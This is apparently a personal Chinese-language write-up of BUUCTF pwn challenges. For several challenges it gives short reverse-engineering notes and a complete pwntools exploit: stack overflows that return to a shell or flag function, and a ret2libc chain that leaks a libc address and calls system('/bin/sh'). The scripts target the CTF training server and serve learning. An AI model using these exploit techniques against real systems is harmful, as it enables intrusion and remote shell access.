Pwn_BUUCTF
1.test_your_nc
直接 nc
cat flag
直接出flag,白给题
2.rip
IDA分析
看main:
直接进 gets 找 s
发现偏移:0xF + 8
写exp
paylode=a*(0xF+8)
回到 IDA 看到 “/bin/sh” 的地址 :40118A
写脚本
完整exp
from pwn import *
p=remote('node3.buuoj.cn',27019)
payload='a'*(0xf+8) + p64(0x40118A)
p.sendline(payload)
p.interactive()
运行
出 flag
2020.9.25 - 21:00
3.warmup_csaw_2016
IDA分析
找到flag.txt函数地址
40060D
接下去看 main
一开始我是 (0x80+8) ,后来师傅说是用后面的 gets(&v5); 来做返回。
所以这里的偏移应该是 v5 的空间。
paylode=‘a’*(0x40+8) + p64(0x40060D)
完整exp
from pwn import *
#p=process('')
p=remote('node3.buuoj.cn',27170)
payload='a'*(0x40+8) + p64(0x40060D)
p.sendline(payload)
p.interactive()
运行,出flag
4.pwn1_sctf_2016
IDA分析
是个32位程序
再gdb分析一波
输入 I 变成了 you , 有溢出
paylode=‘I’*0x14+‘a’*4
找到 flag 地址
0x8048F1F
完整exp
from pwn import *
#p=process('')
p=remote('node3.buuoj.cn',28696)
payload='I'*0x14+'a'*4 + p32(0x08048F0D)
p.sendline(payload)
p.interactive()
出 flag
5.ciscn_2019_n_1
IDA分析一波
要让 v2 = 11.28125
可以找到 11.28125 在程序中的表达
41348000h
从 func() 知道 v1 是 30h ,v2 是 4h
那么我们填充的字符数量就应该是 30h - 4h = 2c
写exp
from pwn import *
p=remote('node3.buuoj.cn',27434)
payload='a'*0x2c+p64(0x41348000)
p.recvuntil("Let's guess the number.")
p.sendline(payload)
p.interactive()
r.recvuntil("Let's guess the number.")
直到程序运行到括号里的字符串时停下
jarvisoj_level0
ida
跟进函数
发现一个可以栈溢出的点
并且题目给出了/bin/sh
easy
exp:
from pwn import *
p=remote('node3.buuoj.cn',25190)
payload = 'a'*0x88 + p64(0x400596)
p.sendline(payload)
p.interactive()
[OGeek2019]babyrop
libc 32
先ida分析
从第十行read看出buf是一个随机数,然后作为参数传入了11行的函数中,之后返回值赋值给v2,v2再传入了12行的函数中,我们先看看11行中的函数
只有结尾时return v5,同时有一个read可以让我们进行栈溢出,使v5变成我们想要的东西
我们再看下一个函数
让a1等于127我们就能利用read函数进行漏洞利用
所以在上一个函数我们要想办法让它返回127
后头看
buf传参给了a1,a1又给了s
v6为read的返回参数,若有输入,则返回长度
下面if拿传参进来的那个随机数和我们输入的字符进行比较,若是不相同则直接exit
所以这里我们可以用\x00来绕过strlen,使v1=0,因为strlen遇到\x00之后就会中断,这样到strncmp的时候就会直接跳过,因为长度为0了
在read输入\x00之后输入2C-25=7个的16进制的127就完成了栈溢出利用
exp:
# -*- coding:utf-8 -*-
from pwn import *
from LibcSearcher import *
p=remote('node3.buuoj.cn',28017)
#r=process('./pwn')
elf=ELF('./pwn')
write_plt=elf.plt['write']
read_got=elf.got['read']
read_plt=elf.plt['read']
main_addr=0x08048825#elf.symbols['main']
payload0 = '\x00'+'\xff'*7
p.sendline(payload0)
payload = 'a' * (0xe7+4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(read_got) + p32(0x8)
p.recvuntil('Correct\n')
p.sendline(payload)
read_addr = u32(p.recv(4))
print(hex(read_addr))
libc_bash = read_addr - 0x0d4350
sys_addr = libc_bash + 0x03a940
bin_sh = libc_bash + 0x15902b
p.sendline(payload0)
getshell = 'a'*(0xe7+4) + p32(sys_addr) + 'aaaa' + p32(bin_sh)
p.recvuntil('Correct\n')
p.sendline(getshell)
p.interactive()